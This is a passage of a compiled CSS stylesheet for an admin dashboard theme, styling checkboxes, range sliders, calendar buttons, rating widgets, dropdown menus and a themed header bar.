    box-shadow: 0 0 0 10px rgba(0, 0, 0, 0); } }
.border-checkbox-section .border-checkbox-group {
  display: inline-block; }
  .border-checkbox-section .border-checkbox-group .border-checkbox:checked + .border-checkbox-label:before {
    animation: ripple 0.3s linear forwards; }
  .border-checkbox-section .border-checkbox-group .border-checkbox:checked + .border-checkbox-label:after {
    -webkit-animation: check linear 0.5s;
    animation: check linear 0.5s;
    opacity: 1;
    border-color: #007bff; }
    .border-checkbox-section .border-checkbox-group .border-checkbox:checked + .border-checkbox-label:after .border-checkbox-label:before {
      border-color: #eee; }
  .border-checkbox-section .border-checkbox-group .border-checkbox-label {
    position: relative;
    display: inline-block;
    cursor: pointer;
    height: 20px;
    line-height: 20px;
    padding-left: 30px;
    margin-right: 15px; }
    .border-checkbox-section .border-checkbox-group .border-checkbox-label:after {
      content: "";
      display: block;
      width: 6px;
      height: 12px;
      opacity: 0.9;
      border-right: 2px solid #eee;
      border-top: 2px solid #eee;
      position: absolute;
      left: 4px;
      top: 11px;
      -webkit-transform: scaleX(-1) rotate(135deg);
      transform: scaleX(-1) rotate(135deg);
      -webkit-transform-origin: left top;
      transform-origin: left top; }
    .border-checkbox-section .border-checkbox-group .border-checkbox-label:before {
      content: "";
      display: block;
      border: 2px solid #007bff;
      width: 20px;
      height: 20px;
      position: absolute;
      left: 0; }
.border-checkbox-section .border-checkbox {
  display: none; }
  .border-checkbox-section .border-checkbox:disabled ~ .border-checkbox-label {
    cursor: no-drop;
    color: #ccc; }

@-webkit-keyframes check {
  0% {
    height: 0;
    width: 0; }
  25% {
    height: 0;
    width: 6px; }
  50% {
    height: 12px;
    width: 6px; } }
@keyframes check {
  0% {
    height: 0;
    width: 0; }
  25% {
    height: 0;
    width: 6px; }
  50% {
    height: 12px;
    width: 6px; } }
.border-checkbox-section .border-checkbox-group-primary .border-checkbox-label:before {
  border: 2px solid #007bff; }
.border-checkbox-section .border-checkbox-group-primary .border-checkbox:checked + .border-checkbox-label:after {
  border-color: #007bff; }

.border-checkbox-section .border-checkbox-group-warning .border-checkbox-label:before {
  border: 2px solid #fb6340; }
.border-checkbox-section .border-checkbox-group-warning .border-checkbox:checked + .border-checkbox-label:after {
  border-color: #fb6340; }

.border-checkbox-section .border-checkbox-group-default .border-checkbox-label:before {
  border: 2px solid #d6d6d6; }
.border-checkbox-section .border-checkbox-group-default .border-checkbox:checked + .border-checkbox-label:after {
  border-color: #d6d6d6; }

.border-checkbox-section .border-checkbox-group-danger .border-checkbox-label:before {
  border: 2px solid #f5365c; }
.border-checkbox-section .border-checkbox-group-danger .border-checkbox:checked + .border-checkbox-label:after {
  border-color: #f5365c; }

.border-checkbox-section .border-checkbox-group-success .border-checkbox-label:before {
  border: 2px solid #2dce89; }
.border-checkbox-section .border-checkbox-group-success .border-checkbox:checked + .border-checkbox-label:after {
  border-color: #2dce89; }

.border-checkbox-section .border-checkbox-group-inverse .border-checkbox-label:before {
  border: 2px solid #4c5667; }
.border-checkbox-section .border-checkbox-group-inverse .border-checkbox:checked + .border-checkbox-label:after {
  border-color: #4c5667; }

.border-checkbox-section .border-checkbox-group-info .border-checkbox-label:before {
  border: 2px solid #11cdef; }
.border-checkbox-section .border-checkbox-group-info .border-checkbox:checked + .border-checkbox-label:after {
  border-color: #11cdef; }

.checkbox-fade,
.checkbox-zoom {
  display: inline-block;
  margin-right: 15px; }
  .checkbox-fade label,
  .checkbox-zoom label {
    line-height: 20px; }
    .checkbox-fade label input[type="checkbox"],
    .checkbox-fade label input[type="radio"],
    .checkbox-zoom label input[type="checkbox"],
    .checkbox-zoom label input[type="radio"] {
      display: none; }
      .checkbox-fade label input[type="checkbox"]:checked + .cr > .cr-icon,
      .checkbox-fade label input[type="radio"]:checked + .cr > .cr-icon,
      .checkbox-zoom label input[type="checkbox"]:checked + .cr > .cr-icon,
      .checkbox-zoom label input[type="radio"]:checked + .cr > .cr-icon {
        transform: scale(1) rotateZ(0deg);
        opacity: 1; }
      .checkbox-fade label input[type="checkbox"] + .cr > .cr-icon,
      .checkbox-fade label input[type="radio"] + .cr > .cr-icon,
      .checkbox-zoom label input[type="checkbox"] + .cr > .cr-icon,
      .checkbox-zoom label input[type="radio"] + .cr > .cr-icon {
        transform: scale(3) rotateZ(-20deg);
        opacity: 0;
        transition: all 0.3s ease-in; }
    .checkbox-fade label:after,
    .checkbox-zoom label:after {
      content: '';
      display: table;
      clear: both; }
  .checkbox-fade.fade-in-disable .cr,
  .checkbox-fade.fade-in-disable label,
  .checkbox-zoom.fade-in-disable .cr,
  .checkbox-zoom.fade-in-disable label {
    color: #ccc;
    cursor: no-drop; }
  .checkbox-fade .cr,
  .checkbox-zoom .cr {
    border-radius: 0;
    border: 2px solid #007bff;
    cursor: pointer;
    display: inline-block;
    float: left;
    height: 20px;
    margin-right: 1rem;
    position: relative;
    width: 20px; }
    .checkbox-fade .cr .cr-icon,
    .checkbox-zoom .cr .cr-icon {
      color: #007bff;
      font-size: 1em;
      left: 0;
      line-height: 0;
      position: absolute;
      right: 0;
      text-align: center;
      top: 50%; }
  .checkbox-fade input[type="checkbox"]:checked + .cr,
  .checkbox-zoom input[type="checkbox"]:checked + .cr {
    animation: ripple 0.3s linear forwards; }

.checkbox-fade label {
  line-height: 20px; }
  .checkbox-fade label input[type="checkbox"],
  .checkbox-fade label input[type="radio"] {
    display: none; }
    .checkbox-fade label input[type="checkbox"]:checked + .cr > .cr-icon,
    .checkbox-fade label input[type="radio"]:checked + .cr > .cr-icon {
      transform: scale(1) rotateZ(0deg);
      opacity: 1; }
    .checkbox-fade label input[type="checkbox"] + .cr > .cr-icon,
    .checkbox-fade label input[type="radio"] + .cr > .cr-icon {
      transform: scale(3) rotateZ(-20deg);
      opacity: 0;
      transition: all 0.3s ease-in; }

.checkbox-zoom label {
  line-height: 20px; }
  .checkbox-zoom label input[type="checkbox"],
  .checkbox-zoom label input[type="radio"] {
    display: none; }
    .checkbox-zoom label input[type="checkbox"]:checked + .cr > .cr-icon,
    .checkbox-zoom label input[type="radio"]:checked + .cr > .cr-icon {
      transform: scale3d(1, 1, 1) translate3d(0, 0, 0);
      opacity: 1; }
    .checkbox-zoom label input[type="checkbox"] + .cr > .cr-icon,
    .checkbox-zoom label input[type="radio"] + .cr > .cr-icon {
      transform: scale3d(0.2, 0.2, 0.1) translate3d(0, 0, 0);
      opacity: 0;
      transition: all 0.3s ease-in; }

.checkbox-fade.fade-in-primary .cr, .checkbox-fade.zoom-primary .cr,
.checkbox-zoom.fade-in-primary .cr,
.checkbox-zoom.zoom-primary .cr {
  border: 2px solid #007bff; }
  .checkbox-fade.fade-in-primary .cr .cr-icon, .checkbox-fade.zoom-primary .cr .cr-icon,
  .checkbox-zoom.fade-in-primary .cr .cr-icon,
  .checkbox-zoom.zoom-primary .cr .cr-icon {
    color: #007bff; }

.checkbox-fade.fade-in-warning .cr, .checkbox-fade.zoom-warning .cr,
.checkbox-zoom.fade-in-warning .cr,
.checkbox-zoom.zoom-warning .cr {
  border: 2px solid #fb6340; }
  .checkbox-fade.fade-in-warning .cr .cr-icon, .checkbox-fade.zoom-warning .cr .cr-icon,
  .checkbox-zoom.fade-in-warning .cr .cr-icon,
  .checkbox-zoom.zoom-warning .cr .cr-icon {
    color: #fb6340; }

.checkbox-fade.fade-in-default .cr, .checkbox-fade.zoom-default .cr,
.checkbox-zoom.fade-in-default .cr,
.checkbox-zoom.zoom-default .cr {
  border: 2px solid #d6d6d6; }
  .checkbox-fade.fade-in-default .cr .cr-icon, .checkbox-fade.zoom-default .cr .cr-icon,
  .checkbox-zoom.fade-in-default .cr .cr-icon,
  .checkbox-zoom.zoom-default .cr .cr-icon {
    color: #d6d6d6; }

.checkbox-fade.fade-in-danger .cr, .checkbox-fade.zoom-danger .cr,
.checkbox-zoom.fade-in-danger .cr,
.checkbox-zoom.zoom-danger .cr {
  border: 2px solid #f5365c; }
  .checkbox-fade.fade-in-danger .cr .cr-icon, .checkbox-fade.zoom-danger .cr .cr-icon,
  .checkbox-zoom.fade-in-danger .cr .cr-icon,
  .checkbox-zoom.zoom-danger .cr .cr-icon {
    color: #f5365c; }

.checkbox-fade.fade-in-success .cr, .checkbox-fade.zoom-success .cr,
.checkbox-zoom.fade-in-success .cr,
.checkbox-zoom.zoom-success .cr {
  border: 2px solid #2dce89; }
  .checkbox-fade.fade-in-success .cr .cr-icon, .checkbox-fade.zoom-success .cr .cr-icon,
  .checkbox-zoom.fade-in-success .cr .cr-icon,
  .checkbox-zoom.zoom-success .cr .cr-icon {
    color: #2dce89; }

.checkbox-fade.fade-in-inverse .cr, .checkbox-fade.zoom-inverse .cr,
.checkbox-zoom.fade-in-inverse .cr,
.checkbox-zoom.zoom-inverse .cr {
  border: 2px solid #4c5667; }
  .checkbox-fade.fade-in-inverse .cr .cr-icon, .checkbox-fade.zoom-inverse .cr .cr-icon,
  .checkbox-zoom.fade-in-inverse .cr .cr-icon,
  .checkbox-zoom.zoom-inverse .cr .cr-icon {
    color: #4c5667; }

.checkbox-fade.fade-in-info .cr, .checkbox-fade.zoom-info .cr,
.checkbox-zoom.fade-in-info .cr,
.checkbox-zoom.zoom-info .cr {
  border: 2px solid #11cdef; }
  .checkbox-fade.fade-in-info .cr .cr-icon, .checkbox-fade.zoom-info .cr .cr-icon,
  .checkbox-zoom.fade-in-info .cr .cr-icon,
  .checkbox-zoom.zoom-info .cr .cr-icon {
    color: #11cdef; }

.checkbox-color {
  display: inline-block;
  margin-right: 20px;
  cursor: pointer; }
  .checkbox-color label {
    display: inline-block;
    position: relative;
    padding-left: 10px;
    line-height: 20px; }
    .checkbox-color label::before {
      content: "";
      display: inline-block;
      position: absolute;
      top: 0;
      width: 20px;
      height: 20px;
      left: 0;
      right: 0;
      text-align: center;
      margin-left: -20px;
      border: 1px solid #ccc;
      border-radius: 0;
      background-color: #fff;
      transition: border 0.15s ease-in-out, color 0.15s ease-in-out; }
    .checkbox-color label::after {
      display: inline-block;
      position: absolute;
      width: 16px;
      height: 16px;
      left: -1px;
      top: 0;
      margin-left: -17px;
      padding-left: 3px;
      padding-top: 1px;
      font-size: 11px;
      color: #fff; }
  .checkbox-color input[type="checkbox"] {
    opacity: 0; }
    .checkbox-color input[type="checkbox"]:focus + label::before {
      outline: thin dotted;
      outline: 5px auto -webkit-focus-ring-color;
      outline-offset: -2px; }
    .checkbox-color input[type="checkbox"]:checked + label::after {
      font-family: 'FontAwesome';
      content: "\f00c"; }
    .checkbox-color input[type="checkbox"]:checked + label::before {
      animation: ripple 0.3s linear forwards; }
    .checkbox-color input[type="checkbox"]:disabled + label {
      opacity: 0.65; }
      .checkbox-color input[type="checkbox"]:disabled + label::before {
        background-color: #eee;
        cursor: not-allowed; }
  .checkbox-color.checkbox-circle label::before {
    border-radius: 50%; }
  .checkbox-color.checkbox-inline {
    margin-top: 0; }

.checkbox-danger input[type="checkbox"]:checked + label::after,
.checkbox-info input[type="checkbox"]:checked + label::after,
.checkbox-primary input[type="checkbox"]:checked + label::after,
.checkbox-success input[type="checkbox"]:checked + label::after,
.checkbox-warning input[type="checkbox"]:checked + label::after {
  color: #fff; }

.checkbox-primary input[type="checkbox"]:checked + label::before {
  background-color: #2196f3;
  border-color: #2196f3; }

.checkbox-primary input[type="checkbox"]:checked + label::before {
  background-color: #007bff; }

.checkbox-warning input[type="checkbox"]:checked + label::before {
  background-color: #fb6340; }

.checkbox-default input[type="checkbox"]:checked + label::before {
  background-color: #d6d6d6; }

.checkbox-danger input[type="checkbox"]:checked + label::before {
  background-color: #f5365c; }

.checkbox-success input[type="checkbox"]:checked + label::before {
  background-color: #2dce89; }

.checkbox-inverse input[type="checkbox"]:checked + label::before {
  background-color: #4c5667; }

.checkbox-info input[type="checkbox"]:checked + label::before {
  background-color: #11cdef; }

.slider-nav .left-arrow, .slider-nav .right-arrow {
  font-size: 20px;
  color: #145388;
  display: inline-block;
  vertical-align: middle;
  margin: 0 15px; }
.slider-nav .slider-dot-container {
  display: inline-block; }
  .slider-nav .slider-dot-container .owl-dot {
    width: 6px;
    height: 6px;
    border-radius: 10px;
    color: #00a7e2;
    background: #7cb9ec;
    outline: initial !important;
    border: initial;
    margin: 0 5px;
    padding: 0; }
    .slider-nav .slider-dot-container .owl-dot.active {
      background: #145388; }

.fc .fc-toolbar .fc-button {
  background: #4a5361;
  color: #fff;
  padding: 5px 10px;
  height: auto;
  border: none;
  text-transform: capitalize;
  text-shadow: none;
  -webkit-box-shadow: none;
  -moz-box-shadow: none;
  box-shadow: none; }
  .fc .fc-toolbar .fc-button .fc-icon {
    margin: 0;
    top: 0; }
    .fc .fc-toolbar .fc-button .fc-icon:after, .fc .fc-toolbar .fc-button .fc-icon::after {
      font-family: "iconkit";
      font-size: 16px; }
    .fc .fc-toolbar .fc-button .fc-icon.fc-icon-left-single-arrow:after, .fc .fc-toolbar .fc-button .fc-icon.fc-icon-left-single-arrow::after {
      content: "\e843"; }
    .fc .fc-toolbar .fc-button .fc-icon.fc-icon-right-single-arrow:after, .fc .fc-toolbar .fc-button .fc-icon.fc-icon-right-single-arrow::after {
      content: "\e844"; }
  .fc .fc-toolbar .fc-button.fc-state-active, .fc .fc-toolbar .fc-button.fc-state-down {
    background: #272d36 !important; }
.fc .fc-toolbar h2 {
  font-size: 22px;
  font-weight: 600; }
.fc .fc-view-container .fc-view table thead tr td.fc-widget-header, .fc .fc-view-container .fc-view table thead tr th.fc-widget-header {
  color: #4a5361;
  background: #f3f4f4;
  border-color: #f3f4f4;
  padding: 10px 0px; }
.fc .fc-view-container .fc-view .fc-day-number {
  float: left;
  padding: 10px 0 5px 10px; }
.fc .fc-view-container .fc-view .fc-other-month {
  background: #f3f9ff; }
.fc .fc-view-container .fc-view .fc-event-container .fc-event {
  display: block;
  padding: 3px 5px;
  color: #ffffff;
  font-weight: 600;
  font-size: 12px;
  border: none; }

.fc-unthemed .fc-content, .fc-unthemed .fc-divider, .fc-unthemed .fc-list-heading, .fc-unthemed .fc-list-view, .fc-unthemed .fc-popover, .fc-unthemed .fc-row, .fc-unthemed tbody, .fc-unthemed td, .fc-unthemed thead {
  border-color: #f3f4f4; }

.color-selector {
  padding: 0;
  margin: 0;
  list-style: none; }
  .color-selector li {
    position: relative;
    display: inline-block;
    width: 25px;
    height: 25px;
    margin: 0 8px 8px 0;
    background-color: #3e8ef7;
    border-radius: 50%;
    -webkit-border-radius: 50%;
    -moz-border-radius: 50%; }
    .color-selector li input[type=radio] {
      position: absolute;
      top: 0;
      left: 0;
      z-index: 1;
      width: inherit;
      height: inherit;
      cursor: pointer;
      border-radius: inherit;
      opacity: 0; }
      .color-selector li input[type=radio]:checked + label:after, .color-selector li input[type=radio]:checked + label::after {
        position: absolute;
        top: 0px;
        left: 5px;
        display: inline-block;
        margin-top: -3px;
        font-size: 16px;
        line-height: 1;
        content: "\e83f";
        color: #fff; }
    .color-selector li label {
      position: relative;
      margin-bottom: .4rem;
      font-family: "iconkit";
      font-style: normal;
      font-weight: 400;
      font-variant: normal;
      text-transform: none; }
    .color-selector li:last-child {
      margin-right: 0; }

.alert {
  border: none; }
  .alert .close {
    font-size: 18px;
    padding: 12px 15px; }

.jq-icon-info {
  background-color: #11cdef;
  color: #ffffff;
  border: none; }

.jq-icon-warning {
  background-color: #fb6340;
  color: #ffffff; }

.jq-icon-error {
  background-color: #f5365c;
  color: #ffffff; }

.jq-icon-success {
  color: #ffffff;
  background-color: #2dce89; }

.jq-toast-single, .jq-toast-single h2 {
  font-family: 'Nunito Sans', sans-serif; }

.br-wrapper {
  margin: 20px 0 50px; }

.br-theme-bars-1to10 .br-widget .br-current-rating {
  clear: both;
  padding: 0;
  font-size: 13px;
  color: #757575;
  font-weight: 400; }

.br-theme-bars-reversed .br-widget .br-current-rating {
  clear: both;
  padding: 0;
  line-height: 2;
  font-size: 13px; }

.br-theme-bars-movie .br-widget .br-current-rating {
  color: #757575;
  font-weight: 400;
  text-align: left; }

.br-theme-bars-horizontal .br-widget .br-current-rating,
.br-theme-bars-reversed .br-widget .br-current-rating {
  color: #757575;
  font-weight: 400;
  font-size: 13px; }

span.value {
  display: inline; }

.current-rating {
  position: relative;
  top: -50px; }
  .current-rating.hidden {
    display: none; }

.your-rating {
  position: relative;
  top: -50px; }
  .your-rating.hidden {
    display: none; }

.br-theme-bars-1to10 .br-widget a,
.br-theme-bars-movie .br-widget a,
.br-theme-bars-reversed .br-widget a,
.br-theme-bars-horizontal .br-widget a {
  background-color: #66b0ff; }
  .br-theme-bars-1to10 .br-widget a.br-active, .br-theme-bars-1to10 .br-widget a.br-selected,
  .br-theme-bars-movie .br-widget a.br-active,
  .br-theme-bars-movie .br-widget a.br-selected,
  .br-theme-bars-reversed .br-widget a.br-active,
  .br-theme-bars-reversed .br-widget a.br-selected,
  .br-theme-bars-horizontal .br-widget a.br-active,
  .br-theme-bars-horizontal .br-widget a.br-selected {
    background-color: #007bff; }

.br-theme-bars-pill .br-widget a {
  background-color: #66b0ff;
  color: #007bff; }
  .br-theme-bars-pill .br-widget a.br-active, .br-theme-bars-pill .br-widget a.br-selected {
    background-color: #007bff; }

.br-theme-fontawesome-stars .br-widget a.br-active:after,
.br-theme-fontawesome-stars .br-widget a.br-selected:after {
  color: #007bff; }

.br-theme-css-stars .br-widget a.br-active:after,
.br-theme-css-stars .br-widget a.br-selected:after {
  color: #007bff; }

.br-theme-bars-square .br-widget a {
  border: 2px solid #66b0ff;
  color: #2990ff; }
  .br-theme-bars-square .br-widget a.br-active, .br-theme-bars-square .br-widget a.br-selected {
    border: 2px solid #007bff;
    color: #007bff; }

.br-theme-fontawesome-stars-o .br-widget a.br-selected:after,
.br-theme-fontawesome-stars-o .br-widget a:after,
.br-theme-fontawesome-stars-o .br-widget a.br-active:after,
.br-theme-fontawesome-stars-o .br-widget a.br-fractional:after {
  color: #007bff; }

/*range slider start */
.range-slider {
  min-height: 200px;
  display: flex;
  align-items: center;
  margin-left: 15px; }
  .range-slider b {
    margin-top: -10px; }

#RGB {
  height: 10px;
  background: gray; }

#RC .slider-selection {
  background: #FF8282; }

#RC .slider-handle {
  background: red; }

#GC .slider-selection {
  background: #428041; }

#GC .slider-handle {
  background: green; }

#BC .slider-selection {
  background: #8283FF; }

#BC .slider-handle {
  border-bottom-color: blue; }

#R,
#G,
#B {
  width: 300px; }

.range-slider-contain {
  position: absolute;
  bottom: 15px; }

.slider-handle {
  top: -5px;
  background-image: linear-gradient(to bottom, #007bff 0%, #007bff 100%);
  box-shadow: none; }

.slider-tick,
.slider-track {
  background-image: linear-gradient(to bottom, #BDC3C7 0%, #BDC3C7 100%); }

.slider-handle.custom::before {
  line-height: 15px;
  font-size: 35px;
  color: #007bff; }

#slider12a .slider-track-high,
#slider12c .slider-track-high {
  background: green; }

#slider12b .slider-track-low,
#slider12c .slider-track-low {
  background: red; }

#slider12c .slider-selection {
  background: yellow; }

.slider-selection.tick-slider-selection {
  background-image: linear-gradient(to bottom, #3395ff 0%, #3395ff 100%); }

.slider-tick.in-selection {
  background-image: linear-gradient(to bottom, #3395ff 0%, #3395ff 100%); }

.slider.slider-horizontal .slider-track {
  height: 2px; }
.slider.slider-horizontal .slider-tick,
.slider.slider-horizontal .slider-handle {
  top: -5px;
  cursor: pointer; }

/*range slider end */
.slider.slider-horizontal .slider-track {
  width: 90%;
  margin-top: -5px;
  top: 50%;
  left: 10px; }

.auth-wrapper .lavalite-bg {
  height: 100vh;
  position: relative;
  width: 100%;
  -webkit-background-size: cover;
  background-size: cover;
  background-repeat: no-repeat; }
  .auth-wrapper .lavalite-bg .lavalite-overlay {
    position: absolute;
    width: 100%;
    height: 100%;
    top: 0;
    left: 0;
    background: linear-gradient(135deg, rgba(46, 52, 81, 0.4) 0%, rgba(52, 40, 104, 0.95) 100%); }
.auth-wrapper .authentication-form {
  font-size: .9rem;
  width: 70%;
  display: block;
  padding: 100px 0; }
  .auth-wrapper .authentication-form .logo-centered {
    width: 60px;
    margin: 0 auto;
    margin-bottom: 40px; }
  .auth-wrapper .authentication-form h3 {
    font-size: 20px;
    color: #272d36;
    margin-bottom: 20px; }
  .auth-wrapper .authentication-form .form-group {
    position: relative; }
    .auth-wrapper .authentication-form .form-group .form-control {
      padding-left: 40px; }
      .auth-wrapper .authentication-form .form-group .form-control ~ i {
        position: absolute;
        top: 10px;
        left: 15px; }
  .auth-wrapper .authentication-form .sign-btn {
    margin-top: 30px; }
  .auth-wrapper .authentication-form .register {
    margin-top: 30px;
    text-align: center; }

body {
  color: #212121;
  font-size: .8rem;
  line-height: 1.5;
  font-weight: 400;
  font-family: "Nunito Sans", sans-serif; }

.dropdown-toggle:after, .dropdown-toggle::after {
  display: none; }

.tooltip {
  font-family: "Nunito Sans", sans-serif;
  font-size: 12px;
  font-weight: 700; }

.truncate {
  text-overflow: ellipsis;
  white-space: nowrap;
  overflow: hidden; }

.progress-sm {
  height: .5rem; }
  .progress-sm .progress-bar {
    height: .5rem; }

.img-thumbnail, .list-thumbnail {
  border-radius: .1rem;
  padding: 0;
  border: initial; }

.list-thumbnail {
  height: auto;
  max-width: unset;
  height: 85px;
  object-fit: cover;
  width: unset !important; }
  @media only screen and (max-width: 1023px) {
    .list-thumbnail.responsive {
      width: unset;
      height: 135px; } }
  .list-thumbnail.small {
    height: 60px;
    font-size: 1rem; }

.list-thumbnail-letters {
  width: 85px;
  height: 85px;
  background: #090e40;
  align-items: center;
  display: flex;
  justify-content: center;
  font-size: 1.25rem;
  color: #fff; }
  .list-thumbnail-letters.small {
    width: 60px;
    height: 60px;
    font-size: 1rem; }

.list-item-heading {
  font-size: 1rem; }

.flex-grow-1 {
  -webkit-flex-grow: 1;
  -moz-flex-grow: 1;
  -ms-flex-grow: 1;
  flex-grow: 1; }

.dropdown-menu {
  padding: 5px;
  font-size: 12px;
  background-color: #ffffff;
  border-color: transparent;
  margin: 0;
  width: 170px;
  border-radius: 6px;
  -webkit-border-radius: 6px;
  -moz-border-radius: 6px;
  -webkit-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08);
  -moz-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08);
  box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08); }
  .dropdown-menu .dropdown-item {
    background-color: #ffffff;
    padding: 8px 15px;
    line-height: 14px;
    border-radius: 4px;
    -webkit-border-radius: 4px;
    -moz-border-radius: 4px; }
    .dropdown-menu .dropdown-item .dropdown-icon {
      display: inline-block;
      vertical-align: middle;
      font-size: 16px;
      margin-right: 5px;
      vertical-align: -2px;
      color: #9aa0ac; }
    .dropdown-menu .dropdown-item:hover, .dropdown-menu .dropdown-item:focus {
      background-color: #dee2e6 !important;
      color: #212121; }
    .dropdown-menu .dropdown-item .badge {
      width: 15px;
      height: 15px;
      border-radius: 50%;
      text-align: center;
      padding: 0;
      line-height: 15px; }
  .dropdown-menu:after, .dropdown-menu::after {
    bottom: 100%;
    left: 10px;
    border: solid transparent;
    content: ' ';
    height: 0;
    width: 0;
    position: absolute;
    pointer-events: none;
    border-color: rgba(136, 183, 213, 0);
    border-bottom-color: #ffffff;
    border-width: 5px; }
  .dropdown-menu.dropdown-menu-right::after {
    right: 10px;
    left: auto; }

.wrapper .header-top {
  background-color: #ffffff;
  z-index: 1030;
  position: relative;
  padding: 15px 0;
  position: fixed;
  top: 0;
  width: 100%;
  left: 0;
  padding-left: 240px;
  -webkit-box-shadow: 0 1px 15px rgba(0, 0, 0, 0.04), 0 1px 6px rgba(0, 0, 0, 0.04);
  -moz-box-shadow: 0 1px 15px rgba(0, 0, 0, 0.04), 0 1px 6px rgba(0, 0, 0, 0.04);
  box-shadow: 0 1px 15px rgba(0, 0, 0, 0.04), 0 1px 6px rgba(0, 0, 0, 0.04); }
  .wrapper .header-top .top-menu .dropdown {
    margin-left: 10px; }
    .wrapper .header-top .top-menu .dropdown .dropdown-menu {
      margin-top: 10px; }
      .wrapper .header-top .top-menu .dropdown .dropdown-menu.menu-grid {
        width: 182px; }
        .wrapper .header-top .top-menu .dropdown .dropdown-menu.menu-grid .dropdown-item {
          display: inline-block;
          width: 40px;
          height: 40px;
          text-align: center;
          padding: 0;
          line-height: 40px;
          font-size: 18px;
          color: #5A5A5A; }
      .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown {
        min-width: 300px;
        padding: 0; }
        .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .header {
          margin: 0;
          padding: 15px;
          font-size: 16px;
          border-bottom: 1px solid #f1f1f1; }
        .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media {
          border-bottom: 1px solid #eef1f2;
          padding: 10px; }
          .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media:nth-child(odd) {
            background: #f8f9fa; }
          .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .d-flex {
            -webkit-box-align: start;
            -ms-flex-align: start;
            align-items: flex-start;
            margin-right: 15px; }
            .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .d-flex i {
              color: #fff;
              text-align: center;
              font-size: 15px;
              line-height: 30px;
              top: 0;
              height: 30px;
              width: 30px;
              background: #404E67;
              border-radius: 50%;
              -webkit-border-radius: 50%;
              -moz-border-radius: 50%; }
            .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .d-flex img {
              height: 30px; }
          .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .media-body {
            font-size: 12px; }
            .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .media-body .media-heading {
              color: #444;
              font-weight: 600;
              letter-spacing: 0; }
            .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .media-body .media-content {
              color: #868e96; }
        .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .footer {
          text-align: center;
          padding: 10px 15px; }
          .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .footer a {
            color: #212121;
            font-size: 16px; }
  .wrapper .header-top .top-menu .nav-link {
    width: 30px;
    height: 30px;
    padding: 0;
    text-align: center;
    line-height: 36px;
    color: #212121;
    border: none;
    position: relative;
    border-radius: 50%;
    -webkit-border-radius: 50%;
    -moz-border-radius: 50%;
    -moz-transition: all 0.5s ease-in-out;
    -o-transition: all 0.5s ease-in-out;
    -webkit-transition: all 0.5s ease-in-out;
    transition: all 0.5s ease-in-out; }
    .wrapper .header-top .top-menu .nav-link:hover, .wrapper .header-top .top-menu .nav-link:focus {
      background-color: #dee2e6;
      color: #333; }
    .wrapper .header-top .top-menu .nav-link i {
      font-size: 16px; }
    .wrapper .header-top .top-menu .nav-link .badge {
      right: -1px;
      position: absolute;
      top: -4px;
      padding: 3px;
      width: 17px;
      font-size: 11px;
      font-weight: 800;
      color: #fff;
      border-radius: 100px;
      -webkit-border-radius: 100px;
      -moz-border-radius: 100px; }
  .wrapper .header-top .top-menu .avatar {
    color: #4c5667;
    font-weight: 600;
    width: 30px;
    height: 30px;
    line-height: 30px;
    border-radius: 50%;
    -webkit-border-radius: 50%;
    -moz-border-radius: 50%;
    display: inline-block;
    background: #ced4da no-repeat center/cover;
    position: relative;
    vertical-align: bottom;
    font-size: .875rem;
    user-select: none; }
  .wrapper .header-top .top-menu .mobile-nav-toggle {
    border: none;
    position: relative;
    margin-right: 5px; }
    .wrapper .header-top .top-menu .mobile-nav-toggle span {
      height: 2px;
      width: 20px;
      background-color: #4a5361;
      display: inline-block;
      border-radius: 4px;
      position: absolute;
      top: 14px;
      left: 5px; }
      .wrapper .header-top .top-menu .mobile-nav-toggle span::before, .wrapper .header-top .top-menu .mobile-nav-toggle span::after {
        content: "";
        height: 2px;
        width: 20px;
        border-radius: 4px;
        background-color: #4a5361;
        display: inline-block;
        position: absolute; }
      .wrapper .header-top .top-menu .mobile-nav-toggle span::before {
        left: 0;
        top: -6px; }
      .wrapper .header-top .top-menu .mobile-nav-toggle span::after {
        left: 0;
        bottom: -6px; }
  .wrapper .header-top .top-menu .header-search {
    padding: 0 10px;
    position: relative; }
    .wrapper .header-top .top-menu .header-search .input-group {
      border-radius: 20px;
      -webkit-border-radius: 20px;
      -moz-border-radius: 20px;
      margin-bottom: 0; }
      .wrapper .header-top .top-menu .header-search .input-group .input-group-addon {
        color: #404E67;
        padding: 2px 10px 2px 0px;
        font-size: 16px;
        cursor: pointer; }
        .wrapper .header-top .top-menu .header-search .input-group .input-group-addon.search-close {
          padding: 2px 0px 2px 10px;
          display: none; }
      .wrapper .header-top .top-menu .header-search .input-group .form-control {
        padding: 0 10px;
        min-height: auto;
        width: 0;
        border: none;
        color: #353c4e;
        background-color: transparent;
        border-radius: 0px;
        -webkit-border-radius: 0px;
        -moz-border-radius: 0px; }
    .wrapper .header-top .top-menu .header-search.open .input-group {
      background-color: #e4e4e4; }
      .wrapper .header-top .top-menu .header-search.open .input-group .input-group-addon.search-close {
        display: block; }
  @media only screen and (max-width: 1023px) {
    .wrapper .header-top {
      padding-left: 0; } }
  .wrapper .header-top[header-theme="light"] {
    background: #ffffff; }
  .wrapper .header-top[header-theme="dark"] {
    background: #272d36; }
  .wrapper .header-top[header-theme="blue"] {
    background: #007bff; }
  .wrapper .header-top[header-theme="red"] {
    background: #f5365c; }
  .wrapper .header-top[header-theme="orange"] {
    background: #fb6340; }
  .wrapper .header-top[header-theme="green"] {
    background: #2dce89; }
  .wrapper .header-top[header-theme="purple"] {
    background: #BF55EC; }
